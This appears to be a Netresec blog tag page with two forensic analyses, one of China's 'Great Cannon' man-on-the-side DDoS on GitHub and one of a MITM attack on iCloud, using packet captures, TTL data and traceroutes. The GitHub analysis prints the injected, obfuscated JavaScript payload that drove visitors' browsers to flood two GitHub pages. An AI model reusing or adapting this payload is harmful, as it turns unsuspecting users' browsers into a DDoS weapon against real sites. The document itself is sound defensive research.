NETRESEC Network Security Blog - Tag : AS4837

China's Man-on-the-Side Attack on GitHub

GitHub tweeting about DDoS attack

On March 27 The following message was posted on the official GitHub blog:

We are currently experiencing the largest DDoS (distributed denial of service) attack in's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.

We have looked closer at this attack and can conclude that China is using their active and passive network infrastructure in order to perform a packet injection attack, known as a man-on-the-side attack against GitHub. See our "TTL analysis" at the end of this blog post to see how we know this is a Man-on-the-side attack.

In short, this is how this Man-on-the-Side attack is carried out:

  1. An innocent user is browsing the internet from outside China.
  2. One website the user visits loads a JavaScript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).
  3. The web browser's request for the Baidu JavaScript is detected by the Chinese passive infrastructure as it enters China.
  4. A fake response is sent out (3 packets injected) from within China instead of the actual Baidu Analytics script. This fake response is a malicious JavaScript that tells the user's browser to continuously reload two specific pages on

However, not all users loading JavaScripts from inside China are attacked in this way. Our analysis shows that only about 1% of the requests for the Baidu Analytics script are receiving the malicious JavaScript as response. So in 99% of the cases everything behaves just like normal.

We managed to get a browser to load the malicious JavaScript simply by browsing a few Chinese websites. After the JavaScript loaded we observed the following behavior in our network traffic: CapLoader Gantt chart of traffic generated by the malicious JavaScriptImage: CapLoader Gantt chart of traffic generated by the malicious JavaScript

The script got our browser to connect to (IP address 192.30.252.[128-131]) in an infinite loop.

Baidu Analytics

The Baidu Analytics script can be loaded from URLs like: (normal version) (asynchronous version)

The proper JavaScript received when requesting such an URL should look like this: Baidu Analytics script in CapLoader Image: CapLoader flow transcript of the Baidu Analytics script

The injected response with the malicious JavaScript looks like this: Malicious JavaScript in CapLoader Image: CapLoader flow transcript of the malicious JavaScript

The injected response is actually exactly the same every time, consisting of three TCP packets with the following payload:

Injected packet #1:

HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130

Injected packet #2:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

Injected packet #3:

The malicious JavaScript is somewhat obfuscated, but some simple deobfuscation leaves us with the following code: Deobfuscated JavaScript

As can be seen in the code, the two targeted URLs are and, which are mirror sites for and the Chinese New York Times. GreatFire and NYT both use GitHub to circumvent the online censorship performed by the Great Firewall of China (GFW).

TTL Analysis

Time-To-Live (TTL) analysis is a powerful method that can be used in order to analyze Man-in-the-Middle as well as Man-on-the-Side attacks. We've used this method before when analyzing the Chinese MITM attacks on iCloud, Yahoo, Google and GitHub.

What is interesting with this new attack on GitHub is that the attackers are now trying to make it difficult to locate the injection point of the malicious JavaScript by modifying the IP TTL values of injected packets.

The following Tshark output prints Source-IP, Destination-IP, TCP-Flags and IP-TTL in four columns (comments in yellow):

tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl 0x0002 64 <- SYN (client) 0x0012 42 <- SYN+ACK (server) 0x0010 64 <- ACK (client) 0x0018 64 <- HTTP GET (client) 0x0018 227 <- Injected packet 1 (injector) 0x0010 64 0x0018 228 <- Injected packet 2 (injector) 0x0019 229 <- Injected packet 3 (injector) 0x0010 64 0x0011 64

Notice how the TTL of the SYN+ACK packet from the server is 42, while the three injected packets with payload have TTL values of 227, 228 and 229?

Here is another PCAP file where injected packets have low TTL values:

tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl 0x0002 64 <- SYN (client) 0x0012 42 <- SYN+ACK (server) 0x0010 64 <- ACK (client) 0x0018 64 <- HTTP GET (client) 0x0018 30 <- Injected packet 1 (injector) 0x0010 64 0x0018 31 <- Injected packet 2 (injector) 0x0019 32 <- Injected packet 3 (injector) 0x0010 64 0x0011 64

The server's SYN+ACK packet stays at an IP TTL of 42 pretty much throughout our whole analysis, but the TTL of packets carrying the malicious payload varied between 30 and 229. This behavior implies that the SYN+ACK packet we are seeing is coming from the actual Baidu server, while the packets carrying the malicious payload are injected somewhere else.

As we've mentioned before the three injected packets are always carrying identical payloads and the only thing that changes in between sessions is basically the target TCP port. This further strengthens our assumption that these three packets are being injected. We even tried dropping one of the injected packets and thereby requesting a retransmission of that packet from the server, but we got nothing back. This too is a typical artifact showing that the malicious JavaScript has been delivered through injected packets as part of a Man-on-the-Side attack as opposed to coming from the actual Baidu server.

Additional Sources for the Malicious JS

The Baidu Analytics is not the only script that has been replaced with a malicious one. Users have also reported JavaScript replacements of Baidu Ads as well as several other services. In's technical analysis of the DDoS attack against them they mention that they have seen JavaScripts being replaced for URLs like:

  • ...
  • ...

These domains are all owned by Baidu, but technically any JavaScript from any site in China could have been exploited to perform this sort of packet injection attack.

Great Wall of China by beggs


This attack demonstrates how the vast passive and active network filtering infrastructure in China, known as the Great Firewall of China or "GFW", can be used in order to perform powerful DDoS attacks. Hence, the GFW cannot be considered just a technology for inspecting and censoring the Internet traffic of Chinese citizens, but also a platform for conducting DDoS attacks against targets world wide with help of innocent users visiting Chinese websites.

UPDATE - April 2'nd

Robert Graham of Errata Security has now verified our conclusion, that the attack is coming from China, by performing an "http-traceroute". Robert writes:

Using my custom http-traceroute, I've proven that the man-in-the-middle machine attacking GitHub is located on or near the Great Firewall of China. While many explanations are possible, such as hackers breaking into these machines, the overwhelmingly most likely suspect for the source of the GitHub attacks is the Chinese government.

UPDATE - April 13'th

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert and Vern Paxson have published their research about this new cyber weapon, which they have dubbed the "Great Cannon" (GC). In their blog post they confirm our findings regarding odd TTL values in the injected packets:

The packets injected by the [Great Cannon] also have the same peculiar TTL side-channel as those injected by the GFW, suggesting that both the GFW and the GC likely share some common code.

For more details on the TTL side-channel of the GFW, please read the Usenix FOCI '14 paper Towards a Comprehensive Picture of the Great Firewall’s DNS Censorship.

Even though the authors of the "Great Cannon" blog post claim that GC is not part of GFW they still confirm that they are co-located:

[T]he shared source code and co-location between the GFW and GC suggest that the GC could have been developed within the same institutional framework as the GFW.

They also traced the path to the GFW and GC:

For, the GFW and the GC both exist between hop 12 and 13, on the link between and, as the traffic enters China Telecom. For, the GFW and GC both exist between hop 17 and 18, on the link between and, belonging to China Unicom.

This confirms that the GC is located within the same ASN's as where we've previously seen the GFW perform SSL MITM attacks, which is in AS4134 (China Telecom) and AS4837 (China Unicom).

They also published several PCAP files, where they interact with the GFW and GC:

UPDATE - April 25'th

Niels Provos at Google posted an interesting report about the DDoS called A Javascript-based DDoS Attack as seen by Safe Browsing. In the report he shows that the packet injection rate wasn't fixed at 1 percent, it actually reached 17.5 percent for a few days when was being attacked.

GFW packet injections over time. Source: Niels Provos, Google
Image by Niels Provos, at Google

Niels also provided additional details regarding the domains that were spoofed by the GFW to deliver the malicious javascript throug packet injection:

  • (
  • (
  • (
  • (
  • (
  • (
  • (
  • (

If you would like to learn how to detect and analyze man-on-the-side attacks, then we recommend that you sign up for our two-day Network Forensics Class.

Posted by Erik Hjelmvik on Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

Tags: #GFW #GitHub #China #packet injection #MOTS #MITM #Netresec #PCAP #AS4134 #AS4837

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Chinese MITM Attack on iCloud

Users in China are reporting a MITM attacks on SSL connections to iCloud., who monitor the Great Firewall of China (GFW), also published a blog post on their website earlier today saying:

This is clearly a malicious attack on Apple in an effort to gain access to usernames and passwords and consequently all data stored on iCloud such as iMessages, photos, contacts, etc.

Fake SSL Certificate

In their blog post GreatFire also linked a packet capture file, which we have analyzed in order to verify the MITM attack. We loaded the PcapNG file into NetworkMiner Professional and extracted the X.509 SSL certificate.

NetworkMiner with fake iCloud certificate

The extracted certificate can be downloaded from here. Also, here are a few details from this X.509 certificate:

$ openssl x509 -inform DER -in -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/
subject= /C=cn/
notBefore=Oct 4 10:35:47 2014 GMT
notAfter=Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint=F4:68:B5:F3:FE:D8:07:97:44:76:A2:2B:32:EA:31:37:D9:24:F7:BA

As reported elsewhere, the certificate was self signed, which means that browsers and most iPhone apps will either inform the user about the connection being unsafe or simply close the connection (see update at the bottom of this blog post regarding the missing certificate verification in Apple iOS). This use of self signed certificates is consistent with previous SSL MITM attacks performed in China against GitHub, Google, Yahoo and

Location of the MITM Attack

By looking at host the information provided by NetworkMiner for the fake iCloud SSL server we can see that it is just six router hops away from the client (having an IP TTL value of 58). This indicates that the MITM attack is being performed within China, since we'd expect to see at least three more router hops if the packets were coming from outside China.

NetworkMiner showing host details for MITM'ed iCloud server

The same PCAP file also contains packets from the same IP address on TCP port 80, which have traveled 11 hops (IP TTL 53). We therefore assume that only traffic to TCP port 443 is being MITM'ed.

This TTL analysis also matches various TCP traceroutes we've seen to the MITM'ed iCloud SSL service on

                        My traceroute [v0.85]
siyanmao-k29 (                        Sat Oct 18 19:26:07 2014

Host                          Loss% Snt  Last   Avg  Best  Wrst StDev
1.                0.0%   17   0.6   0.7   0.6   0.8   0.0
2. -------------              0.0%   16   2.8   2.6   1.7   3.3   0.3
3. -------------              0.0%   16   2.0   2.2   1.4   4.0   0.4
4. ???
5.              0.0%   16   6.4   7.7   4.3  27.0   5.2
6.               25.0%   16 168.5 171.4 166.8 201.3   9.4
mtr TCP 443 traceroute to (source:

The mtr TCP traceroute above indicates that MITM attacks are performed in AS4134 (China Telecom).

bearice@Bearice-Mac-Air-Haswell ~
%tcptraceroute 443
Selected device en0, address, port 52406 for outgoing packets
Tracing the path to on TCP port 443 (https), 30 hops max
1 1.737 ms 0.793 ms 0.798 ms
2 2.893 ms 2.967 ms 2.422 ms
3 2.913 ms 2.893 ms 3.968 ms
4 4.824 ms 2.658 ms 3.902 ms
5 3.626 ms 6.532 ms 3.794 ms
6 27.539 ms 26.821 ms 27.661 ms
7 ( [open] 30.064 ms 29.899 ms 30.126 ms
tcptraceroute to 443 (source: bearice on GitHub)

The tcptraceroute above indicates that MITM attacks are also performed in AS4837 (China Unicom).

Tcproute by @chenshaoju
Tcproute traceroute to on TCP 443 (source: @chenshaoju)

The Tcproute screenshot above shows that also CHINANET backbone network (China Telecom) seems to be used to carry out the MITM attacks.

Judging from these TCP traceroutes the MITM attacks seem to be taking place at several different locations rather centrally in the Chinese Internet infrastructure. To be more specific, it appears as if the MITM attacks are being performed on backbone networks belonging to China Telecom (CHINANET) as well as China Unicom.

UPDATE (October 22)

A vulnerability notice (CVE-2014-4449) has now been published, where Apple confirm that fake SSL certificates (like the Chinese fake one) were not verified by Apple iOS before 8.1. Apple released the first details about this vulnerability just a few hours after this blog post was published. Here's the text from the CVE description:

iCloud Data Access in Apple iOS before 8.1 does not verify X.509 certificates from TLS servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
This means that the Chinese MITM of iCloud could potentially have revealed a significant number of iCloud credentials as well as private data (images, videos, documents etc) to the attackers. Or, as @Exploit_This tweeted: "So china wants our nudes?"

Posted by Erik Hjelmvik on Monday, 20 October 2014 13:35:00 (UTC/GMT)

Tags: #Netresec #PCAP #GFW #China #PcapNG #MITM #NetworkMiner #AS4837 #AS4134

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:


NETRESEC on Twitter

Follow @netresec on twitter:


Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)